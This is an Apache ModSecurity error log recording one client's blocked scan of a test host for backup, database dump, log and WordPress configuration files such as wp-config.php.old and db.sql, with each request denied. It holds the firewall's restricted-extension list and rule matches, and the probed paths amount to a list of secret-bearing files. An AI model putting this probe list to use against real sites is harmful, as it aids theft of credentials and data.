[Sun Jun 29 20:23:57.184133 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/config.php.bak&quot;] [unique_id &quot;aGGEvaAIGT5SiqI9BxP-vwAAAAc&quot;]
[Sun Jun 29 20:23:57.270289 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/db.sql&quot;] [unique_id &quot;aGGEvaAIGT5SiqI9BxP-wQAAAAc&quot;]
[Sun Jun 29 20:23:57.270683 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/db.sql&quot;] [unique_id &quot;aGGEvaAIGT5SiqI9BxP-wQAAAAc&quot;]
[Sun Jun 29 20:23:57.270875 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/db.sql&quot;] [unique_id &quot;aGGEvaAIGT5SiqI9BxP-wQAAAAc&quot;]
[Sun Jun 29 20:24:01.251012 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/debug.log&quot;] [unique_id &quot;aGGEwaAIGT5SiqI9BxP-wwAAAAc&quot;]
[Sun Jun 29 20:24:01.251386 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/debug.log&quot;] [unique_id &quot;aGGEwaAIGT5SiqI9BxP-wwAAAAc&quot;]
[Sun Jun 29 20:24:01.251588 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/debug.log&quot;] [unique_id &quot;aGGEwaAIGT5SiqI9BxP-wwAAAAc&quot;]
[Sun Jun 29 20:24:01.297362 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/dump.sql&quot;] [unique_id &quot;aGGEwaAIGT5SiqI9BxP-xQAAAAc&quot;]
[Sun Jun 29 20:24:01.297713 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/dump.sql&quot;] [unique_id &quot;aGGEwaAIGT5SiqI9BxP-xQAAAAc&quot;]
[Sun Jun 29 20:24:01.297927 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/dump.sql&quot;] [unique_id &quot;aGGEwaAIGT5SiqI9BxP-xQAAAAc&quot;]
[Sun Jun 29 20:24:01.343725 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/error.log&quot;] [unique_id &quot;aGGEwaAIGT5SiqI9BxP-xwAAAAc&quot;]
[Sun Jun 29 20:24:01.344118 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/error.log&quot;] [unique_id &quot;aGGEwaAIGT5SiqI9BxP-xwAAAAc&quot;]
[Sun Jun 29 20:24:01.344328 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/error.log&quot;] [unique_id &quot;aGGEwaAIGT5SiqI9BxP-xwAAAAc&quot;]
[Sun Jun 29 20:24:01.471772 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/logs/error.log&quot;] [unique_id &quot;aGGEwaAIGT5SiqI9BxP-ygAAAAc&quot;]
[Sun Jun 29 20:24:01.472123 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/logs/error.log&quot;] [unique_id &quot;aGGEwaAIGT5SiqI9BxP-ygAAAAc&quot;]
[Sun Jun 29 20:24:01.472316 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/logs/error.log&quot;] [unique_id &quot;aGGEwaAIGT5SiqI9BxP-ygAAAAc&quot;]
[Sun Jun 29 20:24:06.399697 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/site.conf&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-zwAAAAc&quot;]
[Sun Jun 29 20:24:06.400077 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/site.conf&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-zwAAAAc&quot;]
[Sun Jun 29 20:24:06.400276 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/site.conf&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-zwAAAAc&quot;]
[Sun Jun 29 20:24:06.422248 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/site.sql&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-0AAAAAc&quot;]
[Sun Jun 29 20:24:06.422691 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/site.sql&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-0AAAAAc&quot;]
[Sun Jun 29 20:24:06.422914 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/site.sql&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-0AAAAAc&quot;]
[Sun Jun 29 20:24:06.444931 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /src/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/wp-config.php&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-0QAAAAc&quot;]
[Sun Jun 29 20:24:06.445175 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/wp-config.php&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-0QAAAAc&quot;]
[Sun Jun 29 20:24:06.445364 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/wp-config.php&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-0QAAAAc&quot;]
[Sun Jun 29 20:24:06.467106 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/wp-config.php.old&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-0gAAAAc&quot;]
[Sun Jun 29 20:24:06.467265 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /src/wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/wp-config.php.old&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-0gAAAAc&quot;]
[Sun Jun 29 20:24:06.467499 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/wp-config.php.old&quot;] [unique_id &quot;aGGExqAIGT5SiqI9BxP-0gAAAAc&quot;]
